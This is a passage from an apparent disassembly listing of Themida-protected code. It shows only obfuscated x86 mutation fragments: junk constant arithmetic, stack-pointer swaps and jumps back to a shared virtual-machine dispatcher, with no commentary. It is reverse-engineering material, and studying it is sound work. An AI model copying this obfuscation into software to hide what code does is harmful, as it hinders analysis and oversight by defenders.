mov ecx, [esp]
jmp loc_5A0C06
; ---------------------------------------------------------------------------
loc_5A438D: ; CODE XREF: Themida_:005A29A7j
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A8270
; ---------------------------------------------------------------------------
loc_5A43A4: ; CODE XREF: Themida_:005A8ADAj
pop ecx
jmp loc_5976DE
; ---------------------------------------------------------------------------
loc_5A43AA: ; CODE XREF: Themida_:005A903Fj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5AA7AD
; ---------------------------------------------------------------------------
loc_5A43BE: ; CODE XREF: Themida_:005A3199j
neg esi
jmp loc_5A5E88
; ---------------------------------------------------------------------------
loc_5A43C5: ; CODE XREF: Themida_:0059D815j
xor eax, 4C412979h
sub ebp, eax
pop eax
add ebp, edx
add ebp, 1937574Ah
pop edx
jmp loc_59AEA5
; ---------------------------------------------------------------------------
loc_5A43DB: ; CODE XREF: Themida_:0059D621j
mov eax, 0AA41A00h
and eax, 3B3C69BBh
sub esp, 4
mov [esp], edi
mov edi, 39337F72h
sub edi, 0EE2A42D6h
or eax, edi
pop edi
push ecx
jmp loc_59CA6A
; ---------------------------------------------------------------------------
loc_5A4402: ; CODE XREF: Themida_:005A21A7j
mov [esp], edx
mov edx, 4
jmp loc_5A91C3
; ---------------------------------------------------------------------------
loc_5A440F: ; CODE XREF: Themida_:00598DF8j
mov esi, [esp]
add esp, 4
shr esi, 2
add esi, 25E62A4Ch
add esi, 128A6DFDh
push ecx
mov ecx, 62816034h
xor esi, ecx
pop ecx
jmp loc_59E85B
; ---------------------------------------------------------------------------
loc_5A4432: ; CODE XREF: Themida_:005986D1j
sub edx, ecx
pop ecx
and edx, 6345374Ah
sub edx, 2830AD8Ah
add edi, edx
pop edx
mov esi, edi
pop edi
push eax
mov eax, 0EB6543ABh
add esi, eax
pop eax
push 4935h
mov [esp], edi
mov edi, 32987352h
jmp loc_596E7A
; ---------------------------------------------------------------------------
loc_5A4462: ; CODE XREF: Themida_:005A3218j
mov edx, 54BD5C0Ah
shr edx, 3
inc edx
jmp loc_59CD16
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 0C8h
mov [esp], eax
mov eax, esp
jmp loc_597ABF
; ---------------------------------------------------------------------------
loc_5A4482: ; CODE XREF: Themida_:005A41B3j
pop eax
push 6D60h
jmp loc_5A705C
; ---------------------------------------------------------------------------
loc_5A448D: ; CODE XREF: Themida_:0059D508j
mov edi, 28A30505h
xor edi, 3797106Ch
push ecx
mov ecx, 57B32A83h
jmp loc_5964AA
; ---------------------------------------------------------------------------
loc_5A44A3: ; CODE XREF: Themida_:005A47E9j
add dword ptr [esp], 4
mov ebx, [esp]
jmp loc_5A4D46
; ---------------------------------------------------------------------------
loc_5A44AF: ; CODE XREF: Themida_:00599D1Ej
push edi
mov edi, 24641380h
and edx, edi
pop edi
jmp loc_59AA2A
; ---------------------------------------------------------------------------
loc_5A44BD: ; CODE XREF: Themida_:005A65FDj
movzx cx, al
jmp loc_5A1531
; ---------------------------------------------------------------------------
loc_5A44C6: ; CODE XREF: Themida_:005AAD46j
mov ebp, 1D23E2Ah
and ebx, ebp
pop ebp
dec ebx
not ebx
jmp loc_5A9796
; ---------------------------------------------------------------------------
loc_5A44D6: ; CODE XREF: Themida_:0059C068j
pop dword ptr [esp]
pop esp
or edx, eax
jmp loc_599201
; ---------------------------------------------------------------------------
loc_5A44E1: ; CODE XREF: Themida_:005A357Cj
push edx
mov edx, 3971D42h
add edx, 325A1400h
push edi
jmp loc_59C116
; ---------------------------------------------------------------------------
loc_5A44F3: ; CODE XREF: Themida_:005A7334j
pop edx
sub ch, 0Dh
xchg al, ch
not al
xchg al, ch
and ch, 0C0h
sub esp, 4
mov [esp], eax
jmp loc_59D342
; ---------------------------------------------------------------------------
loc_5A450B: ; CODE XREF: Themida_:005A0DB0j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_59BBFB
; ---------------------------------------------------------------------------
loc_5A4521: ; CODE XREF: Themida_:00598240j
pop edx
pop eax
mov [edi+eax*4], ch
jmp loc_59B7B1
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_59F3ED
; ---------------------------------------------------------------------------
loc_5A4532: ; CODE XREF: Themida_:00597564j
add ebx, ebp
pop ebp
add esi, ebx
pop ebx
push ebx
jmp loc_5A859C
; ---------------------------------------------------------------------------
loc_5A453E: ; CODE XREF: Themida_:0059A023j
mov si, 4C4h
xor [esp+2], si
pop si
mov ax, [esp]
push edi
mov edi, esp
jmp loc_59CA17
; ---------------------------------------------------------------------------
loc_5A4555: ; CODE XREF: Themida_:005991CFj
xchg ebx, [esp]
mov esp, [esp]
push ebx
push esi
push 1BAB27C2h
push dword ptr [esp]
pop esi
add esp, 4
push eax
mov eax, 0E454F83Eh
mov ebx, eax
pop eax
push esi
mov esi, 7B363AAFh
push ecx
jmp loc_59B759
; ---------------------------------------------------------------------------
loc_5A457E: ; CODE XREF: Themida_:00596591j
pop edx
add ebx, edi
add ebx, 7E596382h
pop edi
add esi, ebx
pop ebx
add esi, ecx
sub esi, 0C0E5814h
sub esi, 164552F2h
mov ecx, [esp]
jmp loc_5A01EE
; ---------------------------------------------------------------------------
loc_5A45A1: ; CODE XREF: Themida_:00599777j
sub bl, 0C0h
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push ecx
mov cl, 1Dh
mov al, cl
pop ecx
sub bl, 0Ah
add bl, 0CCh
add bl, 5Ah
add bl, al
sub bl, 5Ah
jmp loc_5965C8
; ---------------------------------------------------------------------------
loc_5A45CF: ; CODE XREF: Themida_:0059CBF0j
mov [esp], ebx
push ecx
push eax
mov ah, 16h
add ah, 0DFh
mov cl, ah
pop eax
mov bl, cl
mov ecx, [esp]
jmp loc_5A3F61
; ---------------------------------------------------------------------------
loc_5A45E6: ; CODE XREF: Themida_:005A3D61j
add dword ptr [esp+8], 305B21A1h
mov edi, [esp]
add esp, 4
pop esi
mov ecx, [esp]
add esp, 4
jmp loc_5A0DB5
; ---------------------------------------------------------------------------
loc_5A4603: ; CODE XREF: Themida_:005AADC5j
sub ebx, 4BDF2BEAh
jmp loc_5A4D76
; ---------------------------------------------------------------------------
loc_5A460E: ; CODE XREF: Themida_:005A2E0Dj
push 50C9h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
mov ecx, 4
add ebp, 753A3B57h
add ebp, ecx
sub ebp, 753A3B57h
jmp loc_59E32D
; ---------------------------------------------------------------------------
loc_5A4634: ; CODE XREF: Themida_:005AA64Cj
mov edx, 34B26669h
xor edx, 1B951475h
add edx, 54530435h
jmp loc_59CC71
; ---------------------------------------------------------------------------
loc_5A464A: ; CODE XREF: Themida_:005A02DCj
push 4FC0h
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push ebx
push esi
mov esi, 542E4A2Bh
push esi
pop ebx
pop esi
push 20E5h
mov [esp], esi
jmp loc_596333
; ---------------------------------------------------------------------------
loc_5A4670: ; CODE XREF: Themida_:005A3648j
push 55CBh
mov [esp], ebp
push 80888229h
mov ebp, [esp]
add esp, 4
add edx, 46972E7Fh
sub edx, 27CC7102h
sub edx, 31DF0147h
add edx, ebp
add edx, 31DF0147h
add edx, 27CC7102h
sub edx, 46972E7Fh
mov ebp, [esp]
jmp loc_59EC30
; ---------------------------------------------------------------------------
loc_5A46B1: ; CODE XREF: Themida_:0059E2EEj
add eax, 2B2E06FEh
xor edx, eax
jmp loc_5AAF03
; ---------------------------------------------------------------------------
loc_5A46BD: ; CODE XREF: Themida_:005A49C1j
add edi, 790A708Bh
add edi, edx
sub edi, 790A708Bh
sub edi, 142D1052h
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A38A2
; ---------------------------------------------------------------------------
loc_5A46E8: ; CODE XREF: Themida_:005A1A39j
push 2B4Dh
mov [esp], ebp
jmp loc_5A330A
; ---------------------------------------------------------------------------
loc_5A46F5: ; CODE XREF: Themida_:0059C9B2j
mov ebp, ebx
jmp loc_5A0AA5
; ---------------------------------------------------------------------------
loc_5A46FC: ; CODE XREF: Themida_:005991D5j
pop eax
jmp loc_5A1006
; ---------------------------------------------------------------------------
loc_5A4702: ; CODE XREF: Themida_:00599549j
pop ebx
push ecx
push ebp
jmp loc_5AB2B3
; ---------------------------------------------------------------------------
loc_5A470A: ; CODE XREF: Themida_:0059E441j
sub al, cl
pop cx
push cx
mov ch, 88h
add al, ch
pop cx
mov dx, [esp]
add esp, 2
jmp loc_5A1AEA
; ---------------------------------------------------------------------------
loc_5A4725: ; CODE XREF: Themida_:00597C5Bj
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push edi
mov edi, 703F759Ch
and edi, 1A23C69h
inc edi
inc edi
sub edi, 223406h
add edx, edi
mov edi, [esp]
add esp, 4
push ebp
push esi
mov esi, 1E3A3632h
shl esi, 6
sub esi, 17D626F4h
sub esi, 76B76588h
mov ebp, esi
pop esi
sub edx, ebp
pop ebp
xchg edx, [esp]
pop esp
jmp loc_5A4CD6
; ---------------------------------------------------------------------------
loc_5A4773: ; CODE XREF: Themida_:005AB07Dj
mov edx, ecx
jmp loc_59E862
; ---------------------------------------------------------------------------
loc_5A477A: ; CODE XREF: Themida_:005A1F31j
push 344Ah
mov [esp], ecx
mov ecx, 65211DE3h
jmp loc_597898
; ---------------------------------------------------------------------------
loc_5A478C: ; CODE XREF: Themida_:005A9F0Bj
sub edx, esi
pop esi
push ebx
mov ebx, 12854904h
add edx, ebx
jmp loc_59D8B6
; ---------------------------------------------------------------------------
loc_5A479C: ; CODE XREF: Themida_:005A4D00j
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A47C5: ; CODE XREF: Themida_:0059CC98j
mov esp, [esp]
mov [esp], edi
push esp
pop edi
push edx
mov edx, 4
sub edi, 3EEA776Ch
add edi, edx
jmp loc_59CFDB
; ---------------------------------------------------------------------------
loc_5A47E0: ; CODE XREF: Themida_:005A5210j
mov [esp], ebx
sub esp, 4
mov [esp], esp
jmp loc_5A44A3
; ---------------------------------------------------------------------------
loc_5A47EE: ; CODE XREF: Themida_:005AA34Aj
add esp, 4
push 20D4h
mov [esp], ebp
mov ebp, 4
push ecx
mov ecx, esp
jmp loc_5A7BCF
; ---------------------------------------------------------------------------
loc_5A4806: ; CODE XREF: Themida_:005A25EFj
add edi, edx
sub edi, 30667ED5h
push ebx
mov ebx, 79215D6Eh
jmp loc_5A36F1
; ---------------------------------------------------------------------------
loc_5A4819: ; CODE XREF: Themida_:0059DFF6j
sub ebx, esi
pop esi
add ebx, 78FD0C7Eh
jmp loc_5A3A65
; ---------------------------------------------------------------------------
loc_5A4827: ; CODE XREF: Themida_:005A7E6Cj
pop dword ptr [esp]
pop esp
push dword ptr [esp]
jmp loc_5A9C99
; ---------------------------------------------------------------------------
loc_5A4833: ; CODE XREF: Themida_:005A75C1j
pop ebx
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A3F59
; ---------------------------------------------------------------------------
loc_5A4843: ; CODE XREF: Themida_:0059E7DDj
pop esi
add ebx, eax
pop eax
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A4858: ; CODE XREF: Themida_:00597FBEj
push edx
mov edx, 26CD594Eh
dec edx
sub edx, 74DD3074h
jmp loc_5974E9
; ---------------------------------------------------------------------------
loc_5A486A: ; CODE XREF: Themida_:005A5582j
push esp
pop esi
push 617Bh
mov [esp], edx
jmp loc_5A7034
; ---------------------------------------------------------------------------
loc_5A4879: ; CODE XREF: Themida_:0059CEDFj
push esi
mov esi, 437556FEh
sub edi, 38FA6537h
sub edi, esi
add edi, 38FA6537h
pop esi
pop ebp
xchg edi, [esp]
mov esp, [esp]
push ebx
mov ebx, esp
jmp loc_59C27D
; ---------------------------------------------------------------------------
loc_5A489D: ; CODE XREF: Themida_:005993F0j
mov edx, 310A07DEh
inc edx
jmp loc_5A6A09
; ---------------------------------------------------------------------------
loc_5A48A8: ; CODE XREF: Themida_:005A312Cj
mov edi, 66C35C8Ah
inc edi
and edi, 4130480Ch
not edi
add edi, 4440318Eh
jmp loc_59A863
; ---------------------------------------------------------------------------
loc_5A48C1: ; CODE XREF: Themida_:005AA5AEj
push edx
jmp loc_5A2541
; ---------------------------------------------------------------------------
loc_5A48C7: ; CODE XREF: Themida_:005A7F3Cj
add ecx, 83DCB644h
shl ecx, 6
push edx
jmp loc_5A148A
; ---------------------------------------------------------------------------
loc_5A48D6: ; CODE XREF: Themida_:005977CFj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A7B1F
; ---------------------------------------------------------------------------
loc_5A48EB: ; CODE XREF: Themida_:0059BE8Ej
mov edx, 0A62D0AB9h
sub ebp, edx
push dword ptr [esp]
jmp loc_59ADF7
; ---------------------------------------------------------------------------
loc_5A48FA: ; CODE XREF: Themida_:0059B9B6j
pop ebp
jmp loc_5A4AF5
; ---------------------------------------------------------------------------
loc_5A4900: ; CODE XREF: Themida_:0059D5A8j
mov eax, 2F62286Ch
add esi, eax
pop eax
sub esi, edx
sub esi, 2F62286Ch
pop edx
jmp loc_59B17F
; ---------------------------------------------------------------------------
loc_5A4916: ; CODE XREF: Themida_:005A5EF9j
add esp, 4
push ecx
mov ecx, 68475770h
jmp loc_5A9BFF
; ---------------------------------------------------------------------------
loc_5A4927: ; CODE XREF: Themida_:0059DECCj
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
jmp loc_5A038F
; ---------------------------------------------------------------------------
loc_5A4940: ; CODE XREF: Themida_:005A9AF4j
push eax
push edx
push 72C526Eh
pop edx
or edx, 15EA1838h
jmp loc_59B1A5
; ---------------------------------------------------------------------------
loc_5A4953: ; CODE XREF: Themida_:005A3E2Cj
mov edx, esp
jmp loc_59C80F
; ---------------------------------------------------------------------------
loc_5A495A: ; CODE XREF: Themida_:005A5DB0j
pop esp
dec ebp
jmp loc_5A5570
; ---------------------------------------------------------------------------
loc_5A4961: ; CODE XREF: Themida_:00598830j
inc esi
xor esi, 0BCB0D4B0h
mov ecx, esi
pop esi
jmp loc_597E0C
; ---------------------------------------------------------------------------
loc_5A4970: ; CODE XREF: Themida_:005A07EBj
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, 0
add ebx, 2A612D29h
sub ebx, 5AEC25C7h
add ebx, 181660D0h
add ebx, edx
sub ebx, 181660D0h
add ebx, 5AEC25C7h
sub ebx, 2A612D29h
jmp loc_5A2B65
; ---------------------------------------------------------------------------
loc_5A49AE: ; CODE XREF: Themida_:005A5BC2j
add esp, 4
jmp loc_59FB7A
; ---------------------------------------------------------------------------
loc_5A49B6: ; CODE XREF: Themida_:0059A563j
mov edx, 4
add edi, 142D1052h
jmp loc_5A46BD
; ---------------------------------------------------------------------------
loc_5A49C6: ; CODE XREF: Themida_:005A026Ej
mov esi, 32A10AF9h
add ecx, esi
pop esi
add ecx, esi
sub ecx, 32A10AF9h
sub ecx, 4B7E1CC7h
jmp loc_59BDC2
; ---------------------------------------------------------------------------
loc_5A49E1: ; CODE XREF: Themida_:00598495j
pop edx
push edx
mov edx, esp
add edx, 4
push ebp
push edx
mov edx, 25137648h
mov ebp, 2513764Ch
sub ebp, edx
pop edx
jmp loc_5AB20A
; ---------------------------------------------------------------------------
loc_5A49FF: ; CODE XREF: Themida_:0059951Dj
add [esp+8], edx
pop edx
add [esp+4], eax
sub dword ptr [esp+4], 345627A8h
mov eax, [esp]
add esp, 4
pop ebx
jmp loc_5A8632
; ---------------------------------------------------------------------------
loc_5A4A1F: ; CODE XREF: Themida_:005A2835j
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ebx
mov ebx, 4
jmp loc_5AA0B6
; ---------------------------------------------------------------------------
loc_5A4A35: ; CODE XREF: Themida_:0059A04Fj
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push eax
push ebp
jmp loc_5A4D51
; ---------------------------------------------------------------------------
loc_5A4A55: ; CODE XREF: Themida_:005A6E8Fj
xor ebx, 29270C95h
jmp loc_59BB55
; ---------------------------------------------------------------------------
loc_5A4A60: ; CODE XREF: Themida_:005A3FEEj
add ebx, 2F944A75h
pop edi
xchg ebx, [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A4A77: ; CODE XREF: Themida_:0059FE2Bj
shl ecx, 7
shr ecx, 1
xor ecx, 63801AC6h
jmp loc_59C66B
; ---------------------------------------------------------------------------
loc_5A4A87: ; CODE XREF: Themida_:00597EE3j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add edi, 2
push edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_59ECBF
; ---------------------------------------------------------------------------
loc_5A4AA8: ; CODE XREF: Themida_:005AAE1Dj
mov edi, [esp]
jmp loc_5A4C6D
; ---------------------------------------------------------------------------
loc_5A4AB0: ; CODE XREF: Themida_:0059DB7Cj
add edi, 4
sub edi, 4
jmp loc_5A5D3A
; ---------------------------------------------------------------------------
loc_5A4ABE: ; CODE XREF: Themida_:005A18ECj
push 2984h
mov [esp], eax
mov al, 8Eh
push ebx
push ecx
mov ch, 0Eh
sub ch, 4Fh
jmp loc_5A27C2
; ---------------------------------------------------------------------------
loc_5A4AD4: ; CODE XREF: Themida_:0059F16Cj
sub edi, 27853C07h
mov esi, [esp]
add esp, 4
jmp loc_5A74C2
; ---------------------------------------------------------------------------
loc_5A4AE8: ; CODE XREF: Themida_:005A942Dj
push 24Dh
mov [esp], ebp
jmp loc_596D90
; ---------------------------------------------------------------------------
loc_5A4AF5: ; CODE XREF: Themida_:005A48FBj
mov ebp, 0D654270h
add ebp, ebx
pop ebx
and edx, ebp
pop ebp
not edx
inc edx
push ebp
mov ebp, 1DC03F08h
add edx, ebp
pop ebp
jmp loc_5A9F05
; ---------------------------------------------------------------------------
loc_5A4B11: ; CODE XREF: Themida_:00598B49j
mov ebx, edx
pop edx
xor ebx, eax
pop eax
jmp loc_5A05ED
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_598A75
; ---------------------------------------------------------------------------
loc_5A4B24: ; CODE XREF: Themida_:005A85C6j
xchg eax, [esp]
pop esp
cmp ecx, eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A4B30: ; CODE XREF: Themida_:005A5488j
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
div ecx
jmp loc_5AA1E2
; ---------------------------------------------------------------------------
loc_5A4B4D: ; CODE XREF: Themida_:0059FAC4j
add edx, 70F35AFAh
add edx, 64B907E4h
push dword ptr [esp]
jmp loc_5A87ED
; ---------------------------------------------------------------------------
loc_5A4B61: ; CODE XREF: Themida_:005A829Cj
push ecx
mov ecx, 0FFFFFFFFh
sub ebx, ecx
pop ecx
push ebx
not dword ptr [esp]
jmp loc_5A6DFD
; ---------------------------------------------------------------------------
loc_5A4B73: ; CODE XREF: Themida_:005A61E6j
sub esi, ebx
jmp loc_597F3B
; ---------------------------------------------------------------------------
loc_5A4B7A: ; CODE XREF: Themida_:00597BC6j
pop ebx
push eax
sub dword ptr [esp], 2B6F3AEEh
pop esi
add esi, 2B6F3AEEh
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add [esp+4], esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 4414h
mov [esp], ebp
mov ebp, 7DB417F7h
sub ecx, 773312A4h
jmp loc_5A4035
; ---------------------------------------------------------------------------
loc_5A4BD4: ; CODE XREF: Themida_:0059F89Ej
push eax
jmp loc_59A9E3
; ---------------------------------------------------------------------------
loc_5A4BDA: ; CODE XREF: Themida_:005A076Fj
xor edx, 678181Bh
push eax
mov eax, 0BF866BEh
sub esi, eax
jmp loc_59C0AF
; ---------------------------------------------------------------------------
loc_5A4BED: ; CODE XREF: Themida_:0059827Aj
push 24h
pop edx
push edx
add dword ptr [esp], 207B6B26h
jmp loc_59E4C0
; ---------------------------------------------------------------------------
loc_5A4C00: ; CODE XREF: Themida_:0059B496j
mov eax, 445B0EB3h
sub esi, eax
pop eax
add esi, ebp
add esi, 445B0EB3h
jmp loc_5A15A1
; ---------------------------------------------------------------------------
loc_5A4C15: ; CODE XREF: Themida_:00599C6Bj
mov [esp], ecx
mov ch, 0CDh
add ch, 0FDh
jmp loc_5AA00E
; ---------------------------------------------------------------------------
loc_5A4C22: ; CODE XREF: Themida_:005A0BFAj
pop esp
add edi, 4
xchg edi, [esp]
jmp loc_596F25
; ---------------------------------------------------------------------------
loc_5A4C31: ; CODE XREF: Themida_:005962F5j
mov ch, 0E9h
xor ch, 6Dh
xor dl, ch
pop ecx
xor dl, 0F8h
or dl, 25h
neg dl
jmp loc_5A5855
; ---------------------------------------------------------------------------
loc_5A4C46: ; CODE XREF: Themida_:005A9767j
push esp
pop dword ptr [esp]
push ebx
mov ebx, 4
jmp loc_5A91D2
; ---------------------------------------------------------------------------
loc_5A4C55: ; CODE XREF: Themida_:005A6FF9j
sub edi, 55EC62BFh
push edi
mov edi, esp
push ebp
mov ebp, 25A45ECBh
dec ebp
shr ebp, 7
jmp loc_5AAE94
; ---------------------------------------------------------------------------
loc_5A4C6D: ; CODE XREF: Themida_:005A4AABj
push esi
mov esi, esp
add esi, 4
jmp loc_596DC5
; ---------------------------------------------------------------------------
push ebx
push edi
jmp loc_5A59A0
; ---------------------------------------------------------------------------
loc_5A4C82: ; CODE XREF: Themida_:0059B463j
xor al, 0D3h
add al, 0BDh
mov dh, al
pop eax
xor dh, 41h
jmp loc_5A4272
; ---------------------------------------------------------------------------
loc_5A4C91: ; CODE XREF: Themida_:00597E3Fj
sub eax, 75C352A3h
jmp loc_59E578
; ---------------------------------------------------------------------------
loc_5A4C9B: ; CODE XREF: Themida_:0059F859j
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
jmp loc_59EC58
; ---------------------------------------------------------------------------
loc_5A4CB8: ; CODE XREF: Themida_:00599DB9j
xor ecx, [esp]
pop esp
sub ebx, ebp
add ebx, 72671CF9h
push dword ptr [esp]
pop ebp
add esp, 4
push small word ptr [eax]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A4CD6: ; CODE XREF: Themida_:005A476Ej
mov [esp], ecx
push 556Bh
mov [esp], edx
jmp loc_59622F
; ---------------------------------------------------------------------------
loc_5A4CE6: ; CODE XREF: Themida_:0059714Fj
xor [esp], ecx
xor ecx, [esp]
pop esp
idiv cl
jmp loc_59ECF7
; ---------------------------------------------------------------------------
loc_5A4CF4: ; CODE XREF: Themida_:005AABBCj
neg eax
sub eax, 368CBD70h
add ebp, eax
push dword ptr [esp]
jmp loc_5A479C
; ---------------------------------------------------------------------------
loc_5A4D05: ; CODE XREF: Themida_:00598CE2j
mov ecx, 279057F6h
neg ecx
add ecx, 6B705C47h
jmp loc_59E6B0
; ---------------------------------------------------------------------------
loc_5A4D17: ; CODE XREF: Themida_:005A007Cj
push eax
mov eax, 405A6AE7h
dec eax
jmp loc_5A2FFA
; ---------------------------------------------------------------------------
loc_5A4D23: ; CODE XREF: Themida_:005A5E4Dj
mov ebx, ebp
pop ebp
xor ebx, edi
push dword ptr [esp]
jmp loc_59FEF9
; ---------------------------------------------------------------------------
loc_5A4D30: ; CODE XREF: Themida_:0059CF72j
mov [esp], edi
push ecx
jmp loc_59CFA8
; ---------------------------------------------------------------------------
loc_5A4D39: ; CODE XREF: Themida_:0059F86Dj
add edi, ebp
add edi, 27ED59BEh
jmp loc_59708E
; ---------------------------------------------------------------------------
loc_5A4D46: ; CODE XREF: Themida_:005A44AAj
add esp, 4
jmp loc_5A8319
; ---------------------------------------------------------------------------
loc_5A4D51: ; CODE XREF: Themida_:005A4A50j
mov ebp, 323A2B99h
push ebp
jmp loc_5994E5
; ---------------------------------------------------------------------------
loc_5A4D5C: ; CODE XREF: Themida_:00598C87j
add esi, 7C5D2873h
push ebp
mov ebp, 6E6D5636h
shr ebp, 4
sub ebp, 0CF05D531h
jmp loc_59B514
; ---------------------------------------------------------------------------
loc_5A4D76: ; CODE XREF: Themida_:005A4609j
pop edx
sub edi, 1C94027Fh
add edi, ebx
add edi, 1C94027Fh
pop ebx
sub esp, 4
jmp loc_5A6CCB
; ---------------------------------------------------------------------------
loc_5A4D8E: ; CODE XREF: Themida_:00598194j
push ebx
mov ebx, 308A2142h
add ebx, 0DC9630B0h
push ebx
jmp loc_5A4F93
; ---------------------------------------------------------------------------
loc_5A4DA0: ; CODE XREF: Themida_:005984D2j
pop eax
push 72EAh
mov [esp], edi
mov edi, 0FEF3BFFDh
add eax, edi
mov edi, [esp]
jmp loc_5A3DDA
; ---------------------------------------------------------------------------
loc_5A4DB8: ; CODE XREF: Themida_:005A8F81j
push esi
push ebx
mov ebx, 7E9E746Bh
xor ebx, 4B4407AAh
jmp loc_59F2C6
; ---------------------------------------------------------------------------
loc_5A4DCA: ; CODE XREF: Themida_:005A2767j
mov [esp], edx
mov edx, 45DD6141h
sub edx, 0FFFFFFFFh
jmp loc_5A8BF0
; ---------------------------------------------------------------------------
loc_5A4DDD: ; CODE XREF: Themida_:005A03A7j
add ebx, ecx
pop ecx
add ecx, ebx
pop ebx
jmp loc_5A9CEE
; ---------------------------------------------------------------------------
loc_5A4DE8: ; CODE XREF: Themida_:005A9CAEj
mov [esp], ecx
push edx
mov edx, 0BFE56D1h
dec edx
dec edx
jmp loc_5A2534
; ---------------------------------------------------------------------------
loc_5A4DF8: ; CODE XREF: Themida_:005A6781j
add esp, 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
jmp loc_5A3780
; ---------------------------------------------------------------------------
loc_5A4E0B: ; CODE XREF: Themida_:0059FD6Aj
sub ebx, edx
mov edx, [esp]
add esp, 4
shl ebx, 3
push ebx
dec dword ptr [esp]
mov ebx, [esp]
add esp, 4
xor ebx, 2B274ED3h
mov edi, ebx
pop ebx
sub esi, 13A5439Dh
add esi, edi
add esi, 13A5439Dh
mov edi, [esp]
jmp loc_59D74B
; ---------------------------------------------------------------------------
loc_5A4E42: ; CODE XREF: Themida_:00599F82j
mov edx, 72BA162Bh
jmp loc_5AB229
; ---------------------------------------------------------------------------
loc_5A4E4C: ; CODE XREF: Themida_:005A5850j
add esi, ebp
pop ebp
add esi, 4
xchg esi, [esp]
pop esp
loc_5A4E59: ; CODE XREF: Themida_:00597D85j
sub esp, 4
jmp loc_5A7968
; ---------------------------------------------------------------------------
loc_5A4E64: ; CODE XREF: Themida_:0059C0D0j
mov eax, [esp]
add esp, 4
add esp, 4
add esp, 4
push edi
jmp loc_598757
; ---------------------------------------------------------------------------
loc_5A4E7C: ; CODE XREF: Themida_:00598FAAj
add esp, 4
pop dword ptr [esp]
jmp loc_5A5993
; ---------------------------------------------------------------------------
loc_5A4E87: ; CODE XREF: Themida_:005A53ABj
push eax
mov eax, 17896262h
xor eax, 66E5527Ah
or ebx, eax
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
shr ebx, 7
xor ebx, 2FEEEE88h
sub ebp, ebx
mov ebx, [esp]
jmp loc_59A6A6
; ---------------------------------------------------------------------------
loc_5A4EB9: ; CODE XREF: Themida_:005A0440j
mov edi, 39E13F83h
inc edi
jmp loc_5A24AE
; ---------------------------------------------------------------------------
loc_5A4EC4: ; CODE XREF: Themida_:0059E721j
and eax, 47CD1B3Bh
add eax, 36C52134h
add eax, 81BAC3B5h
mov esi, eax
jmp loc_5A950F
; ---------------------------------------------------------------------------
loc_5A4EDA: ; CODE XREF: Themida_:0059BF3Aj
add dword ptr [esp], 4
pop dword ptr [esp]
push edi
sub esp, 4
push esp
jmp loc_597F7C
; ---------------------------------------------------------------------------
loc_5A4EEE: ; CODE XREF: Themida_:005A825Aj
sub eax, ebx
jmp loc_59EE0A
; ---------------------------------------------------------------------------
loc_5A4EF5: ; CODE XREF: Themida_:0059F861j
add esp, 4
add eax, edi
pop edi
push esi
mov esi, 4
add eax, esi
pop esi
push esi
mov esi, esp
jmp loc_5A8A94
; ---------------------------------------------------------------------------
loc_5A4F0C: ; CODE XREF: Themida_:005AA31Dj
mov ecx, 291B362Fh
jmp loc_597E80
; ---------------------------------------------------------------------------
loc_5A4F16: ; CODE XREF: Themida_:005A15CEj
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
add esi, 4
add esi, 4
jmp loc_59816E
; ---------------------------------------------------------------------------
loc_5A4F39: ; CODE XREF: Themida_:005965F8j
push edi
push ebp
mov ebp, 281B1FE5h
mov edi, ebp
pop ebp
jmp loc_599637
; ---------------------------------------------------------------------------
loc_5A4F48: ; CODE XREF: Themida_:005A2FF5j
add al, 50h
mov edx, [esp]
add esp, 4
add al, dl
push ecx
jmp loc_59C00E
; ---------------------------------------------------------------------------
loc_5A4F58: ; CODE XREF: Themida_:0059F683j
mov [esp], esi
push 377C76EFh
